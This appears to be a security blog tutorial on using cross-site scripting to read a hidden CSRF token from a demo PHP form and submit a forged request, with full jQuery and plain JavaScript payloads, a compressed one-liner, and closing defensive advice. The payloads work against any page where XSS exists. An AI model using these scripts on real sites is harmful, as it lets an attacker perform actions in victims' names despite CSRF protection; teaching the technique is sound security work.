Stealing CSRF tokens with XSS

Mon 13th Nov 17

Hidden tokens are a great way to protect important forms from Cross-Site Request Forgery however a single instance of Cross-Site Scripting can undo all their good work.

Here I show two techniques to use XSS to grab a CSRF token and then use it to submit the form and win the day.

This is the form we are going to go up against:

<!doctype html>
<html lang="en-US">
<head>
    <title>Steal My Token</title>
</head>
<body id="body">

<?php

$h = fopen ("/tmp/csrf", "a");
fwrite ($h, print_r ($_POST, true));
if (array_key_exists ("token", $_POST) && array_key_exists ("message", $_POST)) {
    if ($_POST['token'] === "secret_token") {
        print "<p>Token accepted, the message passed is: " . htmlentities($_POST['message']) . "</p>";
        fwrite ($h, "Token accepted, the message passed is: " . htmlentities($_POST['message']) . "\n");
    } else {
        print "<p>Invalid token</p>";
        fwrite($h, "Invalid token passed\n");
    }
}
fclose ($h);
?>

    <form method="post" action="<?=htmlentities($_SERVER['PHP_SELF'])?>">
        <input type="hidden" value="secret_token" id="token" name="token" />
        <input type="text" value="" name="message" id="message" />
        <input type="submit" value="Submit" />
    </form>
</body>
</html>

csrf.php

As you can see, the form is protected against CSRF by the input with name and id "token". The value is checked on submission and, if it matches what is expected, then the message is displayed and written to a file. Invalid tokens are also logged to help with debugging.

jQuery

The first technique is going to use jQuery, here is the code:

function submitFormWithTokenjQuery (token) {
    $.post (POST_URL, {token: token, message: "hello world"})
        .done (function (data) {
            console.log (data );
        });
}

function getWithjQuery () {
    $.ajax ({
        type: "GET",
        url: GET_URL,
        // Put any querystring values in here, e.g.
        // data: {name: 'value'},
        data: {},
        async: true,
        dataType: "text",
        success: function (data) {
            // Convert the string data to an object
            var $data = $(data);
            // Find the token in the page
            var $input = $data.find ("#token");
            // This comes back as an array so check there is at least
            // one element and then get the value from it
            if ($input.length > 0) {
                inputField = $input[0];
                token = inputField.value
                console.log ("The token is: " + token);
                submitFormWithTokenjQuery (token);
            }

        },
        // In case you need to handle any errors in the 
        // GET request
        error: function (xml, error) {
            console.log (error);
        }
    });
}

var GET_URL="/csrf.php"
var POST_URL="/csrf.php"
getWithjQuery();

withjQuery.js

Hopefully the comments explain what is going on well enough however, here is a quick description...

The getWithjQuery function makes a GET request to the page containing the form with the token. When the page returns, the success function is called. In here, the page returned is broken down and the input field with the id "token" extracted and, bingo, we have the token.

The token is then passed to submitFormWithTokenjQuery which does a POST with two fields, the token and the message.

I've kept the two URLs separate as sometimes the form data is submitted to a different URL to where the form was loaded.

Obviously this is very verbose but luckily jQuery compresses well, the whole thing can be rewritten as the following:

$.get("csrf.php", function(data) {
    $.post("/csrf.php", {token: $(data).find("#token")[0].value, message: "hello world"})
});

compressedjQuery.js

This may be able to be compressed more by some one with better jQuery skills but I've found it usually work well enough.

Raw JavaScript

If you do not have the benefit of jQuery, you can still use raw JavaScript, the following code does the same as above but without relying on any third party libraries.

function submitFormWithTokenJS(token) {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", POST_URL, true);

    // Send the proper header information along with the request
    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

    // This is for debugging and can be removed
    xhr.onreadystatechange = function() {
        if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            console.log(xhr.responseText);
        }
    }

    xhr.send("token=" + token + "&message=CSRF%20Beaten");
}

function getTokenJS() {
    var xhr = new XMLHttpRequest();
    // This tels it to return it as a HTML document
    xhr.responseType = "document";
    // true on the end of here makes the call asynchronous
    xhr.open("GET", GET_URL, true);
    xhr.onload = function (e) {
        if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            // Get the document from the response
            page = xhr.response
            // Get the input element
            input = page.getElementById("token");
            // Show the token
            console.log("The token is: " + input.value);
            // Use the token to submit the form
            submitFormWithTokenJS(input.value);
        }
    };
    // Make the request
    xhr.send(null);
}

var GET_URL="/csrf.php"
var POST_URL="/csrf.php"
getTokenJS();

rawJS.js

The getTokenJS function uses an asynchronous XMLHttpRequest to do a GET on the GET_URL and then, when it returns, extracts the token element from the DOM.

In case the input field does not have an id, the page.getElementById call can be replaced by other, similar, methods such as:

  • getElementsByClassName
  • getElementsByName
  • getElementsByTagName

If you do this though, you need to know that these methods return arrays of objects rather than a single one and so you will need to access the individual item, for example:

input = page.getElementsByTagName("input")[0]

Now we have the token, it can be passed to the submitFormWithTokenJS function to build another asynchronous XMLHttpRequest, this time to do a POST to the POST_URL.

The string passed to xhr.send is a set of name/value pairs separated with ampersands, the same way as you would on the querystring.

This can probably also be compressed but my JavaScript is not that great.

Conclusion

All the best protections can be undone with a simple mistake. You still need to lure the victim to the page hosting the stored XSS or get them to click on a reflected XSS link in a browser that will allow it to be triggered, but getting users to click links is not usually that hard.

The easy way to protect against this, do not have XSS on your site! If you cannot guarantee this, the next best option is to use an alternative style of token. Having the user enter their password to perform important tasks is the same as using a CSRF token except rather than using a software generated token which has to be sent to the browser in some way and so can be stolen, the password is the token. The attacking XSS script does not know the password and so cannot complete the submission.

Another alternative is to have an out-of-band confirmation for an action. My bank sends me an SMS when I set up a new payment and I have to use details in the message to confirm the action. XSS could be used to trigger the SMS but it would not then be able to read it and complete the action.